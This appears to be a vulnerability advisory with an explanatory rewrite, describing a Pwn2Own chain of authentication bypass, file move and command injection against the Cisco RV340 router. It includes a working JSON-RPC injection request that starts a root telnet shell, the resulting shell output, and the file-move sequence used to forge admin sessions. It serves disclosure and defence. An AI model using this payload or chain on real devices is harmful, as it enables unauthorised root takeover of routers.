Advisory: Cisco RV340 Dual WAN Gigabit VPN Router (RCE over LAN)
The Cisco RV340 router had an authentication bypass in its Nginx configuration that allowed unauthenticated file upload and file move, which could be chained with an authenticated command injection to execute commands as root over the LAN. An attacker on the local network could exploit this to gain full control of the device.
Published on iot-inspector.com
A few months ago, we took part in Pwn2Own Austin 2021. Organized by the Zero Day Initiative, the event focuses on the exploitation of vulnerabilities in phones, printers, NAS, and more – a welcomed opportunity to put our skills to the test and compete with the brightest minds in the reversing and exploitation scene.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is the Cisco RV340 Dual WAN Gigabit VPN Router. The web interface is handled by Nginx, with its configuration under /etc/nginx, and the administration requests are served by a jsonrpc CGI that forwards specific RPC calls to a ConfD server. The exploit chain described here was submitted to Pwn2Own Austin 2021 and gives remote command execution as root over the LAN interface by chaining three separate bugs:
- Unauthenticated arbitrary file upload
- Unauthenticated file move
- Authenticated command injection
The first two flaws provide two primitives: the unauthenticated file move gives arbitrary file read, and the unauthenticated arbitrary file upload combined with the file move gives arbitrary file write. The arbitrary file write is used to create fake session files on the device, and the arbitrary file read leaks the information needed to build those fake session files. With a fake sessionid in place, the authenticated command injection can be triggered to run commands as root.
The research started from logic flaws in both software (web server CGI handlers) and configuration (Nginx configuration), following earlier work on authentication bypasses affecting the same product line.
Setup
The affected product is the Cisco RV340 Dual WAN Gigabit VPN Router. The vulnerable version is [redacted] and earlier; the fixed version is 1.0.03.26. The associated CVE IDs are CVE-2022-20705, CVE-2022-20708, CVE-2022-20709 and CVE-2022-20711. The impact is rated 10 (critical) with the vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Credit goes to Q. Kaiser, IoT Inspector Research Lab.
The exploit is performed over the LAN interface and starts without authentication. The test request to the RPC endpoint was sent to [redacted]:8080, and the telnet listener was reached at [redacted] on port 2304.
Finding it
The starting point was the Nginx configuration. In /etc/nginx/conf.d/rest.url.conf there is an attempt to check that some Authorization header is set. The logic is such that any non-null Authorization header sets $deny to "0", so sending literally any valid-looking Authorization header as part of a request to /api/operations/ciscosb-file:form-file-upload bypasses the authorization check.
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
This authorization bypass allows writing arbitrary files to the Nginx upload directory at /tmp/upload, with files named with an increasing index (for example /tmp/upload/0000000001, /tmp/upload/0000000002). Because the request is unauthenticated, the upload CGI does not handle the uploaded file and the files stay there.
A second misconfiguration sits in /etc/nginx/conf.d/web.upload.conf. The /upload endpoint is protected, but /form-file-upload is left wide open:
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass [redacted]:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
To reach the unauthenticated endpoint without triggering errors, the form fields that Nginx sets when handing a request through /upload must be supplied: file.name, file.content_type, file.path, file.md5 and file.size. The parameter of interest is file.path.
In upload.cgi, a prepare_file function is called. It is supposed to move the Nginx generated temporary file to another location on disk (/tmp/upload.bin). The attacker controls file.path, passed as src_file; fileparam, passed as dst_file; and pathparam, passed as file_type.
int prepare_file(char *file_type,char *src_file,char *dst_file)
{
int iVar1;
size_t sVar2;
char *destination_dir;
char command_buffer[300];
if (dst_file != 0x0 && file_type != 0x0) {
if(strcmp(file_type,"Firmware")==0){
destination_dir = "/tmp/firmware";
}
if(strcmp(file_type,"Configuration")==0){
destination_dir = "/tmp/configuration";
}
if(strcmp(file_type,"Certificate")==0){
destination_dir = "/tmp/in_certs";
}
if(strcmp(file_type,"Signature")==0){
destination_dir = "/tmp/signature";
}
if(strcmp(file_type,"3g-4g-driver")==0){
destination_dir= "/tmp/3g-4g-driver";
}
if(strcmp(file_type,"Language-pack")==0){
destination_dir= "/tmp/language-pack";
}
if(strcmp(file_type,"User")==0){
destination_dir= "/tmp/user";
}
if(strcmp(file_type,"Portal")==0){
destination_dir= "/tmp/www";
}
else{
return -1;
}
// check that source file exists
if(is_file_exist(src_file)==0){
return -2;
}
// check source and destination files lengths
if (strlen(src_file) > 256 || strlen(dst_file) > 256) {
return -3;
}
// check that destination file is valid (no command injection chars)
if (match_regex("^[a-zA-Z0-9_.-]*$",dst_file) != 0) {
return -4;
}
// we can move arbitrary files to any file in the destination dir
sprintf(command_buffer,"mv -f %s %s/%s",src_file,pcVar3,dst_file);
debug("cmd=%s",command_buffer);
if (command_buffer[0] != '\0') {
if (system(command_buffer) < 0) {
error("upload.cgi: %s(%d) Upload failed!","prepare_file",0xb3);
return -1;
}
return 0;
}
}
return -1;
}
By submitting an upload request with a file type of 'Portal', arbitrary files can be moved to /tmp/www. Once a file is copied there, its content can be leaked by requesting login.html or index.html, because both are symlinked (/www/login.html -> /tmp/www/login.html and /www/index.html -> /tmp/www/index.html).
This works because prepare_file is called before the query path value is checked:
ret = prepare_file(file_type,src_file,dst_file);
if (ret== 0) {
if (strcmp(query_path, "/api/operations/ciscosb-file:form-file-upload") == 0) {
do_api_upload(__s,file_type,dst_file,local_6c);
}
else {
if(strcmp(query_path,"/upload")==0){
//some regex and length checks
do_upload(__s,dst_file,uVar1,file_type,uVar4,local_58,local_54,local_50);
}
}
}
The third bug is an authenticated command injection in the update-clients RPC. The jsonrpc CGI handling all web administration requests forwards specific RPC requests to a ConfD server. All RPC requests are documented in /etc/confd/yang/, and they define the expected input with strong typing. The RPC name is always a valid binary or script present in the device PATH.
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type string;
}
leaf device-type {
type string;
}
leaf os-type {
type string;
}
}
}
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
In this example, update-clients is a Perl script located at /usr/bin/update-clients. The script is vulnerable to arbitrary command injection because parameters are passed within double quotes, allowing the injection of shell expansion or backticks.
#!/usr/bin/perl
my $total = $#ARGV + 1;
my $counter = 1;
#$mac = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os = "Windows";
foreach my $a(@ARGV)
{
if (($counter%12) == 0)
{
system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
}
elsif (($counter%12) == 4)
{
$mac = $a
}
elsif (($counter%12) == 6)
{
$name = $a
}
elsif (($counter%12) == 8)
{
$type = $a
}
elsif (($counter%12) == 10)
{
$os = $a
}
$counter++;
}
To understand the expected format of the JSON RPC call, the Angular based client code was searched and this entry was found:
if (d.length) {
b.post({
forcedUsingPost: true,
method: 'action',
params: { rpc: 'update-clients', input: { clients: d } },
success: function() {
n();
},
error: function(b) {
b = (b && b.output && b.output.errstr) || '';
app.TOOLS.criticalAlertBox({
msg:
'<div>' +
a.DICT('Client_Statistics_RPC_Error') +
'</div><div>' +
b +
'</div>',
cbk: function() {
C();
},
});
},
});
}
This led to a reduced test case:
POST /jsonrpc HTTP/1.1
Host: [redacted]:8080
Accept: application/json, text/plain, */*
Content-Length: 232
Connection: close
Cookie: sessionid=[redacted];
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2304)",
"mac": "[redacted]",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
The hostname value contains a command substitution that starts a telnet listener on port 2304 with /bin/sh as its login program. The injection was confirmed by connecting to the newly opened telnet listener:
$ telnet [redacted] 2304
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash)
/usr/bin # id
uid=0(root) gid=0(root)
The shell runs as root, so no privilege escalation is required. This is because the server receiving these YANG-based RPC calls is confd, which runs as root on the device.
Exploitation
Step 1: Understand the session file format
When a user logs into a Cisco RV340, the following session files are created:
/tmp
├── websession
├── session (json definition of current session)
└── token
├── [redacted] (empty file)
The session file holds a JSON object like the one below:
{
"max-count": 1,
// username
"cisco": {
// sessionid
"Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
"user": "cisco", // username
"group": "admin", // user group
"time": 592, // device uptime in seconds, obtained with sysinfo()
"access": 1,
"timeout": 1800, // timeout in seconds
"leasetime": 15547943
}
}
}
The sessionid is a base64 encoded string of slash separated values holding username, time of emission, and source IP address:
cisco/[redacted]/592
Step 2: Create fake session directories
The arbitrary file move is limited to moving files into /tmp/www, so files in /tmp cannot be overwritten directly. To get around this, symlink indirection is used by moving the /var directory to /tmp/www/iotinspector. The /var directory is actually a symlink to /tmp. This is the equivalent of doing:
/ $ ls -alh | grep var
lrwxrwxrwx 1 root root 4 Jun 13 2021 var -> /tmp
/ $ mv /var /tmp/www/iotinspector
mv: can't preserve ownership of '/tmp/www/iotinspector': Operation not permitted
mv: can't remove '/var': Permission denied
Even though errors are returned, the file is created:
/tmp/www $ ls -alh
drwxr-xr-x 5 www-data www-data 240 Jul 13 10:56 .
drwxrwxrwt 37 root root 1.6K Jul 13 10:56 ..
--snip--
lrwxrwxrwx 1 www-data www-data 4 Jul 13 10:56 iotinspector -> /tmp
Next, fake session directories are created in /tmp/www and then moved to /tmp to create one or replace the existing one. Simplified down to shell commands, with the controlled part between <>, it looks like this:
# move websession to somewhere else, make sure it does not exist
mv </tmp/websession> /tmp/www/<whatever>
# create fake session directories by moving default empty tmp directories
mv </tmp/in_certs> /tmp/www/<websession>
mv </tmp/3g-4g-driver> /tmp/www/<token>
# upload session file and move it
mv </tmp/upload/0000000001> /tmp/www/<session>
mv </tmp/www/session> /tmp/www/<websession>
# upload token file and move it
mv </tmp/upload/0000000002> /tmp/www/<Y2lzY28vMTkyLjE2OC4xLjIvNTky>
mv </tmp/www/Y2lzY28vMTkyLjE2OC4xLjIvNTky> /tmp/www/<token>
# move token directory into the session dir
mv </tmp/www/token> /tmp/www/<websession>
# move the websession dir to /tmp using symlinks
mv </tmp/www/websession> /tmp/www/<iotinspector>
This is possible because mv moves files to directories even if the second argument does not end with a forward slash.
Step 3: Identify the uploaded file location
If a user has been uploading files before the exploit runs, files may be located under the /tmp/upload directory used by Nginx. Even if there are none, Nginx keeps a counter throughout its uptime that increases on each file upload. When a file is uploaded, its exact location is unknown, so it has to be guessed before the move is performed.
The strategy to leak the uploaded file location is:
- Loop through potential uploaded file names from
/tmp/upload/0000000001to/tmp/upload/0000000100. - For each potential file name, move it to
/tmp/www/login.html. - Leak the content of
/tmp/www/login.htmlby sending a GET request, hash the response and compare it to the hash of the recently uploaded file. - If the hash matches, move
/tmp/www/login.htmlback to its original location and recover the login page by moving/www/login.html.defaultto/tmp/www/login.html.
Step 4: Craft fake session files
The cisco user is a default user that cannot be deleted and is always part of the admin group, so that user can be reused. The time and timeout values still need to be handled.
{
"max-count": 1,
// username
"cisco": {
// sessionid
"Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
"user": "cisco", // username
"group": "admin", // user group
"time": 592, // device uptime in seconds, obtained with sysinfo()
"access": 1,
"timeout": 1800, // timeout in seconds
"leasetime": 15547943
}
}
}
The timeout value is discarded if the file /tmp/webcache/web-session-timeout.json exists. It could be moved to /dev/null and a session file created with a timeout value of 999999, but removing that file might trigger unknown issues. Instead, the device uptime in seconds can be leaked and used to generate the fake session object. Leaking the uptime is simple: move the proc uptime to the login page, which overwrites the login page with the content of proc uptime at the time of reading, then read the login page with a GET request and parse the uptime value.
mv /proc/uptime /tmp/www/login.html
One issue that might block the exploit is the presence of equal signs in the sessionid. The destination filename can only contain underscore, dot and alphanumeric characters, so if the sessionid contains an equal sign, the move fails. Three parameters influence the presence of equal signs in the base64 encoded sessionid:
- username, which cannot be controlled
- source IP, which can be controlled by getting the right DHCP lease
- device uptime, which cannot be controlled
- a slash followed by padding characters that gets discarded when
sessionidis parsed
In the end, padding was used to remove the equal sign from the base64 encoded sessionid. With that knowledge, the fake session objects can be crafted.
Step 5: Send the command injection
With the fake session created on the device, authenticated requests can be sent to trigger the command injection described above in the update-clients RPC.
Step 6: Run the exploit

Root cause
The fundamental issue that allowed these vulnerabilities to be exploited is a misunderstanding of Nginx configurations. The authorization checks rely on setting $deny from the presence of a header or a cookie-backed file, and the /form-file-upload location is left without any check at all. The prepare_file function in upload.cgi builds a shell command with sprintf and runs it with system, and it is called before the query path is validated, so the file move happens regardless of which endpoint was reached. The destination filename is restricted by a regex to ^[a-zA-Z0-9_.-]*$, but the source path is not.
The command injection is a "second order" injection: the attacker has to understand the inner relationship between ConfD, its configuration files and the scripts it is linked to. The YANG definition types hostname, device-type and os-type as plain strings, and the Perl script passes the corresponding values inside double quotes to system, so shell expansion and backticks are evaluated. Because confd runs as root, the injected commands run as root.
Impact
The chain gives remote command execution as root over the LAN interface, starting from unauthenticated requests. The CVSS vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, rated 10 (critical). The exploit requires the ability to reach the web interface over the LAN and to perform the sequence of file moves and uploads described above; the report does not describe any other precondition.
Fix
Cisco released its advisory on 2022-02-02, and the fixed version is 1.0.03.26. The report does not describe the individual code changes. The advice given to researchers is to review the configuration of any web server found on embedded devices for potential authentication bypasses, since these misconfigurations have mostly been identified in large web applications but can also affect embedded devices.
Variants to test
- Review Nginx
locationblocks for checks that only test whether a header is non-empty, or that protect one path while leaving a sibling path (such as/form-file-uploadnext to/upload) unprotected. A positive result is reaching an upload or CGI handler without a valid session. - Look for CGI handlers that build shell commands with
sprintfandsystemand call them before validating the request path. A positive result is a file move or command execution triggered from an endpoint that should not reach that code. - Check whether destination filename filters are applied to the source path as well. A positive result is moving an arbitrary file, such as
/proc/uptime, into a web-served directory. - On devices relying on ConfD, develop scripts identifying RPC endpoint definitions with loosely typed inputs calling insecure scripts (Perl, Lua, shell, etc.). A positive result is a string-typed leaf whose value reaches a shell command inside double quotes, allowing command substitution.
- Test whether symlinked directories can be moved into a writable web directory to gain indirection into
/tmp. A positive result is a symlink such asiotinspector -> /tmpappearing under the web root even whenmvreports ownership or permission errors.
What happened, in plain words
A group of security researchers took part in a hacking contest called Pwn2Own Austin 2021, organised by the Zero Day Initiative. In that contest, researchers try to break into real devices and report how they did it. One of the devices they attacked was a Cisco RV340 Dual WAN Gigabit VPN Router, a small box that businesses put on their network to connect two internet lines and to let staff connect in from outside over a VPN (a private, encrypted tunnel).
The router has a web page you open in a browser to configure it, just like the admin page of a home router. The researchers found that by sending a clever sequence of requests to that web page, from inside the local network (the LAN, the network on your side of the router), they could make the router run any command they wanted, with the highest level of permission on the device (the root account). They did not need to know any password.
They did it by combining three separate mistakes in the router's software:
- A way to upload a file without logging in.
- A way to move a file to another place on the device without logging in.
- A way to run commands, but only if you are logged in (authenticated command injection).
The first two mistakes, used together, let them read any file on the device and write files wherever they liked. They used the writing power to create fake "you are logged in" records, and the reading power to gather the small pieces of information needed to make those fake records believable. With a fake login in place, the third mistake let them run commands as root.
This article walks through the whole chain in the order the researchers did it, explaining each idea from scratch.
The target and the rules of the game
The product is the Cisco RV340 Dual WAN Gigabit VPN Router. "Dual WAN" means it can connect to two internet providers at once, and "VPN" means it can build encrypted tunnels so remote workers can reach the office network.
| Item | Value |
|---|---|
| Vulnerable version | [redacted] and earlier |
| Fixed version | [redacted] |
| CVE IDs | CVE-2022-20705, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711 |
| Impact rating | 10 (critical), vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Credit | Q. Kaiser, IoT Inspector Research Lab |
A CVE ID is a public catalogue number for a known security flaw, so that everyone can refer to the same bug. The impact rating comes from CVSS, a scoring system from 0 to 10. The vector string is a compact code describing the conditions: it is reachable over the network (AV:N), needs no special conditions (AC:L), needs no login (PR:N), needs no user to click anything (UI:N), affects more than the vulnerable component (S:C), and has high impact on confidentiality, integrity and availability (C:H/I:H/A:H).
The attack is performed over the LAN interface and starts without authentication. The test request to the RPC endpoint was sent to [redacted]:8080, and the telnet listener was reached at [redacted] on port 2304.
Finding it
The web server and its rulebook
The router's web interface is served by Nginx, a popular web server program. Nginx decides what to do with each incoming request by reading configuration files, which live under /etc/nginx. Think of these files as the receptionist's rulebook: "if someone asks for this address, check this; if they ask for that address, let them through."
The researchers started by reading that rulebook, looking for logic mistakes in both the software (the small programs, called CGI handlers, that the web server calls to do work) and the configuration. This followed earlier work they had published on authentication bypasses in the same product line. An authentication bypass means getting past a login check without valid credentials.
Bug 1: uploading a file without logging in
In /etc/nginx/conf.d/rest.url.conf there is an attempt to check that some Authorization header is set. A header is a small line of extra information that a browser or program attaches to a request, like the label on an envelope. Authorization is the header normally used to carry proof of who you are.
The logic is such that any non-null Authorization header sets $deny to "0". $deny is a variable, a named box holding a value; here it works like a switch: "1" means block the request, "0" means let it through. The check only asks whether the header is empty or not. It never asks whether the value is correct. So sending literally any valid-looking Authorization header as part of a request to /api/operations/ciscosb-file:form-file-upload bypasses the authorization check.
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
Line by line:
location /api/operations/ciscosb-file:form-file-upload {opens a block of rules that apply when someone requests this particular address on the router. Alocationblock is like a section in the rulebook for one door of the building.set $deny 1;starts with the switch set to "1", meaning "block by default".if ($http_authorization != "") {asks: is the Authorization header different from empty? In other words, did the visitor bring any label at all?set $deny "0";if so, flip the switch to "0", meaning "let them through".if ($deny = "1") { return 403; }if the switch is still "1", reply with HTTP status 403, which means "forbidden".upload_pass /form-file-upload;hands the upload on to the internal handler at/form-file-upload.upload_store /tmp/upload;says where on disk the uploaded file is saved: the folder/tmp/upload.upload_store_access user:rw group:rw all:rw;sets file permissions: the owner, the group and everyone else can read and write (rw).- The
upload_set_form_fieldandupload_aggregate_form_fieldlines build extra form fields describing the file: its original name, its content type, its temporary path, an MD5 checksum (a short fingerprint of the file's contents) and its size. upload_pass_form_field "^.*$";passes all other form fields through to the handler.upload_cleanup 400 404 499 500-505;deletes the temporary file if the request ends with one of those error codes.upload_resumable on;allows uploads to be resumed if interrupted.
This authorization bypass allows writing arbitrary files to the Nginx upload directory at /tmp/upload, with files named with an increasing index (for example /tmp/upload/0000000001, /tmp/upload/0000000002). Because the request is unauthenticated, the upload CGI does not handle the uploaded file and the files stay there. In plain terms: the receptionist lets you leave a parcel in the back room, and nobody ever comes to collect it, so it just sits there with a predictable name.
Bug 2: moving a file without logging in
A second misconfiguration sits in /etc/nginx/conf.d/web.upload.conf. The /upload endpoint is protected, but /form-file-upload is left wide open:
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass [redacted]:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
Line by line:
- The first
location /form-file-upload { ... }block has no$denycheck at all. It simply forwards the request to a program listening on[redacted]:9003(the device's own loopback address, meaning "this same machine").uwsgiis a protocol for talking to such programs, and the timeout lines say how long to wait for a reply. - The second
location /upload { ... }block does have a check:if (-f /tmp/websession/token/$cookie_sessionid). The-ftest asks "does this file exist?".$cookie_sessionidis the value of thesessionidcookie sent by the browser. A cookie is a small piece of data a website stores in your browser and that the browser sends back on every request, like a wristband you get at an event so staff recognise you. So this check means: "let them through only if a file named after their session cookie exists in the token folder." - The rest of the block repeats the upload settings from Bug 1.
The mistake is that the protected door (/upload) and the unprotected door (/form-file-upload) lead to the same room. To reach the unauthenticated endpoint without triggering errors, the form fields that Nginx sets when handing a request through /upload must be supplied: file.name, file.content_type, file.path, file.md5 and file.size. The parameter of interest is file.path.
In upload.cgi, a prepare_file function is called. A CGI is a small program the web server runs to handle a request; think of it as a clerk behind the counter. This function is supposed to move the Nginx generated temporary file to another location on disk (/tmp/upload.bin). The attacker controls file.path, passed as src_file (the source, where the file comes from); fileparam, passed as dst_file (the destination, where it goes); and pathparam, passed as file_type (which category of file it is).
int prepare_file(char *file_type,char *src_file,char *dst_file)
{
int iVar1;
size_t sVar2;
char *destination_dir;
char command_buffer[300];
if (dst_file != 0x0 && file_type != 0x0) {
if(strcmp(file_type,"Firmware")==0){
destination_dir = "/tmp/firmware";
}
if(strcmp(file_type,"Configuration")==0){
destination_dir = "/tmp/configuration";
}
if(strcmp(file_type,"Certificate")==0){
destination_dir = "/tmp/in_certs";
}
if(strcmp(file_type,"Signature")==0){
destination_dir = "/tmp/signature";
}
if(strcmp(file_type,"3g-4g-driver")==0){
destination_dir= "/tmp/3g-4g-driver";
}
if(strcmp(file_type,"Language-pack")==0){
destination_dir= "/tmp/language-pack";
}
if(strcmp(file_type,"User")==0){
destination_dir= "/tmp/user";
}
if(strcmp(file_type,"Portal")==0){
destination_dir= "/tmp/www";
}
else{
return -1;
}
// check that source file exists
if(is_file_exist(src_file)==0){
return -2;
}
// check source and destination files lengths
if (strlen(src_file) > 256 || strlen(dst_file) > 256) {
return -3;
}
// check that destination file is valid (no command injection chars)
if (match_regex("^[a-zA-Z0-9_.-]*$",dst_file) != 0) {
return -4;
}
// we can move arbitrary files to any file in the destination dir
sprintf(command_buffer,"mv -f %s %s/%s",src_file,pcVar3,dst_file);
debug("cmd=%s",command_buffer);
if (command_buffer[0] != '\0') {
if (system(command_buffer) < 0) {
error("upload.cgi: %s(%d) Upload failed!","prepare_file",0xb3);
return -1;
}
return 0;
}
}
return -1;
}
Line by line:
int prepare_file(char *file_type,char *src_file,char *dst_file)declares a function that takes three pieces of text: the file type, the source path and the destination name.char command_buffer[300];reserves a 300-character scratch space to build a command in.if (dst_file != 0x0 && file_type != 0x0) {continues only if both the destination and the type were provided.- The series of
if(strcmp(file_type,"...")==0)lines compare the supplied type against known categories and pick a folder for each: Firmware, Configuration, Certificate, Signature, 3g-4g-driver, Language-pack, User, Portal.strcmpcompares two strings and returns 0 when they are identical. if(strcmp(file_type,"Portal")==0){ destination_dir= "/tmp/www"; }is the interesting one: choosing the Portal type sends files to/tmp/www, a folder the web server serves to browsers.else{ return -1; }rejects unknown types.if(is_file_exist(src_file)==0){ return -2; }checks that the source file exists before going further.if (strlen(src_file) > 256 || strlen(dst_file) > 256) { return -3; }rejects paths longer than 256 characters.if (match_regex("^[a-zA-Z0-9_.-]*$",dst_file) != 0) { return -4; }checks the destination name against a pattern that allows only letters, digits, underscore, dot and hyphen. This is meant to stop sneaky characters being slipped into the command.sprintf(command_buffer,"mv -f %s %s/%s",src_file,pcVar3,dst_file);builds a shell command:mv -f(move, force overwrite) followed by the source, the destination folder and the destination name.sprintfglues text together using a template.system(command_buffer)hands that text to the operating system's shell to run.
The destination name is filtered, but the source path is not.
By submitting an upload request with a file type of 'Portal', arbitrary files can be moved to /tmp/www. Once a file is copied there, its content can be leaked by requesting login.html or index.html, because both are symlinked (/www/login.html -> /tmp/www/login.html and /www/index.html -> /tmp/www/index.html). A symlink (symbolic link) is a shortcut file: when you open it, you actually get the file it points to. So the browser asks for the normal login page and receives whatever was just placed in /tmp/www/login.html.
This works because prepare_file is called before the query path value is checked:
ret = prepare_file(file_type,src_file,dst_file);
if (ret== 0) {
if (strcmp(query_path, "/api/operations/ciscosb-file:form-file-upload") == 0) {
do_api_upload(__s,file_type,dst_file,local_6c);
}
else {
if(strcmp(query_path,"/upload")==0){
//some regex and length checks
do_upload(__s,dst_file,uVar1,file_type,uVar4,local_58,local_54,local_50);
}
}
}
Line by line:
ret = prepare_file(file_type,src_file,dst_file);performs the move first, before anything else is decided.if (ret== 0) {continues only if the move succeeded.if (strcmp(query_path, "/api/operations/ciscosb-file:form-file-upload") == 0) {checks which address was requested. If it was the upload API, it callsdo_api_upload.else { if(strcmp(query_path,"/upload")==0){ ... do_upload(...); } }otherwise, if it was/upload, it runs the normal upload handling with some regex and length checks.
The order matters: the move has already happened by the time the code asks which door the visitor came through. So the move can be triggered from the unprotected door.
Bug 3: running commands, but only when logged in
The third bug is an authenticated command injection in the update-clients RPC. An RPC (remote procedure call) is a way for one program to ask another to perform an action, like phoning a colleague and asking them to file a form. The jsonrpc CGI handling all web administration requests forwards specific RPC requests to a ConfD server. ConfD is a program that manages the device's configuration and runs with high privileges.
All RPC requests are documented in /etc/confd/yang/, and they define the expected input with strong typing. YANG is a language for describing what data looks like, so the device can check that a request has the right shape before acting on it. The RPC name is always a valid binary or script present in the device PATH. The PATH is the list of folders the system searches when you type a command name.
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type string;
}
leaf device-type {
type string;
}
leaf os-type {
type string;
}
}
}
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
Line by line:
rpc update-clients {defines an action calledupdate-clients.input { list clients { ... } }says the action takes a list of clients as input.key mac;says each client is identified by its MAC address (the hardware address of a network card).leaf mac { type yang:mac-address; mandatory true; }defines a field calledmacthat must be a MAC address and must be present.leaf hostname { type string; },leaf device-type { type string; }andleaf os-type { type string; }define three more fields, each just a plain string of text. A string is any sequence of characters, with no further restrictions.- The
augmentblocks attach an extra definition (DEVICE-OS-TYPE) to other parts of the configuration tree.
In this example, update-clients is a Perl script located at /usr/bin/update-clients. Perl is a programming language often used for small system scripts. The script is vulnerable to arbitrary command injection because parameters are passed within double quotes, allowing the injection of shell expansion or backticks. Shell expansion means the shell replaces special patterns like $(...) with the output of a command before running the line; backticks (`) do the same thing.
#!/usr/bin/perl
my $total = $#ARGV + 1;
my $counter = 1;
#$mac = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os = "Windows";
foreach my $a(@ARGV)
{
if (($counter%12) == 0)
{
system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
}
elsif (($counter%12) == 4)
{
$mac = $a
}
elsif (($counter%12) == 6)
{
$name = $a
}
elsif (($counter%12) == 8)
{
$type = $a
}
elsif (($counter%12) == 10)
{
$os = $a
}
$counter++;
}
Line by line:
#!/usr/bin/perltells the system to run this file with Perl.my $total = $#ARGV + 1;counts how many arguments were passed to the script.@ARGVis the list of arguments.my $counter = 1;starts a counter at 1.- The commented lines (starting with
#) show example values for the four variables. foreach my $a(@ARGV)loops over each argument in turn.if (($counter%12) == 0)checks whether the counter is a multiple of 12.%is the remainder operation. When it is, the script runssystem("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null").systemruns a shell command. The variables are placed inside double quotes, and the shell will evaluate anything special inside them.- The
elsifbranches at positions 4, 6, 8 and 10 of each group of 12 store the current argument into$mac,$name,$typeand$osrespectively. $counter++;increases the counter by one each loop.
The flaw: because $name, $type and $os are inserted inside double quotes in a shell command, a value containing $(...) or backticks will be executed by the shell.
To understand the expected format of the JSON RPC call, the Angular based client code was searched and this entry was found. Angular is a framework for building web pages in JavaScript, and its code runs in the browser; reading it shows exactly what the browser sends to the router.
if (d.length) {
b.post({
forcedUsingPost: true,
method: 'action',
params: { rpc: 'update-clients', input: { clients: d } },
success: function() {
n();
},
error: function(b) {
b = (b && b.output && b.output.errstr) || '';
app.TOOLS.criticalAlertBox({
msg:
'<div>' +
a.DICT('Client_Statistics_RPC_Error') +
